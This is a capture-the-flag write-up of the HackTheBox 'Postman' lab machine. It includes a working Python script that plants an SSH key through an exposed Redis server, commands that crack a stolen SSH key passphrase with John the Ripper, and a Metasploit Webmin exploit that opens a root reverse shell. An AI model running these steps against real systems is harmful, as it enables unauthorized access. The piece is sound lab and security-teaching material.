ctf/hackathon

HackTheBox Postman Write-up

Postman was an easy-going box. It required careful enumeration and beyond that did not have too much resistance in privilege escalation. This makes it a prime example for real-world M&M security where the initial foothold is hard, but there is few resistance on the inside.

Let’s start out by scanning the machine:

# nmap -sS -sC -oN postman.nmap -v 10.10.10.160
# Nmap 7.80 scan initiated Sun Dec  8 11:27:40 2019 as: nmap -sS -sC -oN postman.nmap -v -p1-10000 10.10.10.160
Increasing send delay for 10.10.10.160 from 0 to 5 due to 674 out of 2245 dropped probes since last increase.
Nmap scan report for 10.10.10.160
Host is up (0.11s latency).
Not shown: 9996 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http
|_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis
10000/tcp open  snet-sensor-mgmt
| ssl-cert: Subject: commonName=*/organizationName=Webmin Webserver on Postman
| Issuer: commonName=*/organizationName=Webmin Webserver on Postman
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-08-25T16:26:22
| Not valid after:  2024-08-23T16:26:22
| MD5:   96f4 064c e63e 1277 4954 a4d9 a099 56ac
|_SHA-1: 4322 6ff3 ab7a 6ade 2887 9b89 6657 401c 3afd 5217
|_ssl-date: TLS randomness does not represent time

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Dec  8 11:29:31 2019 -- 1 IP address (1 host up) scanned in 111.23 seconds

There are a few interesting things here already. We have a webserver running on port 80, an unprotected Redis database server on the default port 6379, and a custom application on port 10000. The latter one apparently is using an SSL certificate where the organizationName already tells us that we are dealing with a Webmin admin panel here. That is already decent information to start out with!

Looking at the website on port 80, there is no real attack surface present. It’s just static content.

Moving on to port 10000, we are presented with a redirect to an SSL site.

To make this work, we tweak our /etc/hosts file a bit and move to the site mentioned above. There we are presented with a Webmin login panel.

A few tries with default username/password combinations did not yield any success, so let’s move on. We don’t want to bruteforce the credentials here out of politeness to the other people hacking on it. 🙂

About Redis and port 6379, there is a general rule of thumb for production usage: NEVER PUT THIS THING ON THE OPEN INTERNET. If you don’t believe me, read the same thing in the Redis docs – worded a bit more elegantly:

Redis is designed to be accessed by trusted clients inside trusted environments. This means that usually it is not a good idea to expose the Redis instance directly to the internet or, in general, to an environment where untrusted clients can directly access the Redis TCP port or UNIX socket.

In my attack I made some assumptions, such as that the user the DB is running under is called redis, that its home directory is /var/lib/redis/ and that the config options used in the attack are available. All of these should be true by default. So I generated a new SSH keypair and hacked up a little Python script:

import redis


print("[+] Reading key")
with open("attacker.key", "r") as keyfile:
    key = "\n\n" + keyfile.read().strip() + "\n\n"

print("[+] Connecting to Redis")
r = redis.StrictRedis(
    host='10.10.10.160',
    port=6379,
)

print("[+] Flushing DB")
r.flushdb()

print("[+] Setting attacker SSH key")
r.set("itdonottouch", key)

print("[+] Setting configuration keys")
r.config_set("dir", "/var/lib/redis/.ssh/")
r.config_set("dbfilename", "authorized_keys")

print("[+] Saving changes to Redis disk")
r.save()

print("[+] Exploit finished - try ssh with [email protected]")

Pulling this attack off requires basic knowledge of the Python redis package, DB flushing, and an understanding of the two config keys I have used. The key names and their effect can be understood by checking out the relevant section in the Redis default config file:

# The filename where to dump the DB
dbfilename dump.rdb

# The working directory.
#
# The DB will be written inside this directory, with the filename specified
# above using the 'dbfilename' configuration directive.
#
# The Append Only File will also be created inside this directory.
#
# Note that you must specify a directory here, not a file name.
dir ./

After executing the exploit, we simply need to SSH into the box as redis user:

# ssh -i ~/.ssh/id_rsa [email protected]
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1
redis@Postman:~$ id
uid=107(redis) gid=114(redis) groups=114(redis)

Looking around a bit, we find an interesting backup file:

redis@Postman:~$ ls /opt/
id_rsa.bak

It’s an encrypted SSH key, so we base64 it, copy it over, and decode it.

redis@Postman:~$ cat /opt/id_rsa.bak | base64
LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRFSy1JbmZvOiBERVMtRURFMy1DQkMsNzNFOUNFRkJDQ0Y1Mjg3QwoKSmVoQTUxSTE3cnNDT09WcXlXeCtDODM2M0lPQllYUTExRGR3L3ByM0wyQTJORHRCN3R2c1hOeXFLRGdoZlFuWApjd0dKSlVEOWtL...
# (cat user.key.bak | base64 -d) > user.key

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C

JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----

Now to prepare the file for John the Ripper and cracking it:

# /usr/share/john/ssh2john.py user.key > user.key.john
# john --wordlist=/usr/share/wordlists/rockyou.txt --fork=4 user.key.john

Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Node numbers 1-4 of 4 (fork)
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (user.key)
4 0g 0:00:00:09 DONE (2019-12-08 12:21) 0g/s 361800p/s 361800c/s 361800C/s *7¡Vamos!
3 0g 0:00:00:10 DONE (2019-12-08 12:21) 0g/s 357468p/s 357468c/s 357468C/sa6_123
1 0g 0:00:00:10 DONE (2019-12-08 12:21) 0g/s 356404p/s 356404c/s 356404C/sie168
Waiting for 3 children to terminate
2 1g 0:00:00:10 DONE (2019-12-08 12:21) 0.09813g/s 351856p/s 351856c/s 351856C/sabygurl69
Session completed

Got it. The only thing left to know now is a username. A quick look at /etc/passwd helps us here:

root:x:0:0:root:/root:/bin/bash
...
Matt:x:1000:1000:,,,:/home/Matt:/bin/bash
redis:x:107:114::/var/lib/redis:/bin/bash

However, when we try to SSH into the box as Matt from our remote machine, or the box’ localhost, we get a permission error. Password authentication in SSH is enabled, however. So a good guess would be that Matt was a lazy user and reused his password that he previously encrypted his SSH key with.

redis@Postman:~$ su Matt
Password: 
Matt@Postman:/var/lib/redis$ 

Damnit, Matt. We talked about this password rotation policy things in so many meetings before! In his home directory we can find the user flag. Now on to root.

Poking around the machine with Matt’s access rights, we don’t find much. It’s a good time to think back: We found a Webmin panel and Matt is already guilty once of password reuse. Let’s give it another shot.

Matt, come on! And on top of that, someone didn’t install their security updates:

Webmin itself has a set of very interesting functionalities to manage systems. So it doesn’t come as a surprise if it’s running under elevated privileges. Scouring the web for some interesting exploits, we find this Webmin security bulletin – and our current version seems to be 1.910. Normally I like to script my exploits in Python to get a deeper understanding of what they do, but this time I was inspired by Matt’s laziness and decided to take the easy way in with Metasploit:

msf5 exploit(linux/http/webmin_packageup_rce) > options

Module options (exploit/linux/http/webmin_packageup_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   computer2008     yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.160     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      10000            yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME   Matt             yes       Webmin Username
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.13      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910

Firing this we end up with a root shell:

msf5 exploit(linux/http/webmin_packageup_rce) > exploit 

[*] Started reverse TCP handler on 10.10.14.13:4444 
[+] Session cookie: 93a0b7c6234b1354928550dc12865af2
[*] Attempting to execute the payload...
[*] Command shell session 2 opened (10.10.14.13:4444 -> 10.10.10.160:43526) at 2019-12-08 12:58:17 +0000
id
uid=0(root) gid=0(root) groups=0(root)

… and the root flag is secured.

If there is anything to be learnt here, it is to never use Redis as an open service to the internet, and to always make sure your users do not reuse their passwords. Especially not if they’re as crappy as computer2008. Often times users are not doing this because they’re stupid, but rather because they lack vital security education. So let’s not rant too much about Matt and hope his employer is going to send him to some nice workshops to get him up to speed. 🙂